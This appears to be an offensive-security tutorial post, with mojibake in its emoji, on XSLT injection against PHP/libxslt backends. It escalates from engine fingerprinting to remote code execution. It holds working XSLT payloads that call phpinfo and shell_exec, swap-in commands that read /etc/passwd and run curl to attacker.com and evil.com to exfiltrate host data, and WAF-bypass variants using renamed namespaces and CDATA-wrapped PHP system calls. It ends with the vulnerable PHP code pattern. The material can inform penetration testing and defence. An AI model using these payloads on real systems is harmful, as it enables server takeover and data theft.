๐ฅ ADVANCED XSLT INJECTION: From Info Disclosure to RCE
๐ฅ Rare. Powerful. Quiet. This is the kind of injection that silently owns backend XML-based applications.
๐ What Is XSLT Injection?
XSLT (Extensible Stylesheet Language Transformations) is used to transform XML documents using a special syntax. If an attacker controls the XSLT document or parts of it, they can:
โขRun server-side functions (like php:function)
โขExfiltrate internal system info
โขAchieve RCE in PHP, file read, or command execution
โธป
โ๏ธ Server-Side Behavior (Detection)
First, enumerate if XSLT is used by injecting an out-of-context tag like:
<xsl:value-of select="system-property('xsl:vendor')"/>
If it returns:
xsl:vendor = libxslt
Or:
xsl:version = 1.0
โ
Youโre dealing with a live XSLT backend โ typically PHP + libxslt + DOMDocument + XSLTProcessor.
โธป
๐ง Information Disclosure Injection (Stage 1)
๐ Payload: Leak Backend Library Info
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="
w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:text>Vendor: </xsl:text>
<xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:text> | Version: </xsl:text>
<xsl:value-of select="system-property('xsl:version')"/>
</xsl:template>
</xsl:stylesheet>
โ๏ธ Confirms backend XSLT processing engine. Most commonly:
โขlibxslt โ PHP (via XSLTProcessor)
โขMSXML โ .NET
โขSaxon โ Java-based
โธป
๐ฃ Remote Code Execution (Stage 2)
โ ๏ธ Only works when php:function is enabled in PHP libxslt config.
โธป
๐ Payload: Execute phpinfo() via XSLT Injection
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="
w3.org/1999/XSL/Transform"
xmlns:php="
php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('phpinfo')" />
</xsl:template>
</xsl:stylesheet>
โ
Will return full phpinfo() output including:
โขLoaded modules
โขServer paths
โขENV variables
โขOpen_basedir info
โธป
๐ RCE / Command Execution (Stage 3)
๐งจ Payload: Execute Shell Commands
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="
w3.org/1999/XSL/Transform"
xmlns:php="
php.net/xsl">
<xsl:template match="/">
<xsl:variable name="cmd" select="'whoami'" />
<xsl:value-of select="php:function('shell_exec',
$cmd)" />
</xsl:template>
</xsl:stylesheet>
๐งฌ You can swap whoami with:
โขcat /etc/passwd
โขcurl
attacker.com/exfil?$(hostnamโฆ)
โขls -la /var/www/
โธป
๐ณ Bypass Filters / WAF Confusion
WAFs may block php:function, but not encoded or obfuscated variants:
โ
Variant: Obfuscated Namespaces
xmlns:custom="
php.net/xsl"
<xsl:value-of select="custom:function('phpinfo')" />
โ
Variant: CDATA-Based Execution
<xsl:text disable-output-escaping="yes">
<![CDATA[<?php system('id'); ?>]]>
</xsl:text>
Works when XSLT result is injected into an interpreted .php file or template.
โธป
๐ค Exfiltration Payload (Blind)
<xsl:variable name="cmd" select="'curl
evil.com/$(whoami)'" />
<xsl:value-of select="php:function('shell_exec',
$cmd)" />
โธป
๐ Real-World Vulnerable Functions (Watch for These in PHP)
$xml = new DOMDocument();
$xml->load($user_supplied_xml);
$xsl = new DOMDocument();
$xsl->load($user_supplied_xsl); // โ Injection point
$proc = new XSLTProcessor();
$proc->registerPHPFunctions(); // โ Enables RCE
$proc->importStylesheet($xsl);
echo
$proc->transformToXML($xml);